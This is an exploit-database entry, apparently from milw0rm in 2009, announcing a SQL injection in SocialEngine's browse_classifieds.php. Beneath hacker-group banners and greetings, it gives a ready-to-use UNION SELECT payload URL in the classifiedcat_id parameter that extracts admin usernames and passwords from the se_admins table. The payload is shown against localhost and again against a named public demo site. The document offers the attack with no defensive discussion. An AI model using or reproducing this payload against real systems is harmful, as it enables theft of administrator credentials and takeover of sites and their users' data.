Social Engine - SQL Injection

Author: snakespc
type: webapps
platform: php
port: 
date_added: 2009-01-10 
date_updated: 2017-01-13 
verified: 1 
codes: OSVDB-51309 
tags: 
aliases:  
screenshot_url:  
application_url: 

==================================================================================================================
=         SSSSS  NN    N      AA      K   K  EEEEE  SSSSS        TTTTTTTTT EEEEE     AA     MM     MM            =
=         S      N N   N     A  A     K  K   E      S                T     E        A  A    M M   M M            =
+         SSSSS  N  N  N    AAAAAA    KKK    EEEEE  SSSSS            T     EEEEE   AAAAAA   M  M M  M            +
=             S  N   N N   A      A   K  K   E          S            T     E      A      A  M   M   M            =
=         SSSSS  N    NN  A        A  K   K  EEEEE  SSSSS            T     EEEEE A        A M       M            =
===================================================SNAKES TEAM====================================================
+                                                                                                                =
=              	                    Script:social network  Remote SQL Injection Vulnerability                         +
+                                                                                                                =
==============================================:::ALGERIAN HaCkEr:::===============================================
                =        =                                                                =          =
                =      =          Discovered By: Snakespc  :::ALGERIAN HaCkEr:::               =     =
                =                                                                                    =
                                    :::::Mail: snakespc@gmail.com:::::::
                =                                                                                    =
                =          = ::::script Demo: http://www.socialengine.net/demos.php::::  =           =
                =                                                                                    =
                =                             "browse_classifieds.php"                               =
                  ===================================GAZA=============================================

Exploit:
http://localhost/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admin_password),2,3+from+se_admins
********
demo:
http://www.socialenginedev.com/browse_classifieds.php?s=classified_date%20DESC&v=0&classifiedcat_id=-1+UNION%20SELECT%20concat(admin_username,0x3a,admin_password),2,3+from+se_admins
================================================================= áÇ ÅáÜÜÜå ÅáÇ Çááå ãÍãÏ ÑÓÜÜÜæá Çááå =================================================

Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N:::
ALL www.Snakespc.com/SC >>>> Members
Str0ke ....Milw0rm
================================================================== ÇáäÜÜÜÜÕÑ ÍáíÝäÜÜÜÜÇ íÇ ÛÜÜÜÜÜÒÉ ====================================================

# milw0rm.com [2009-01-11]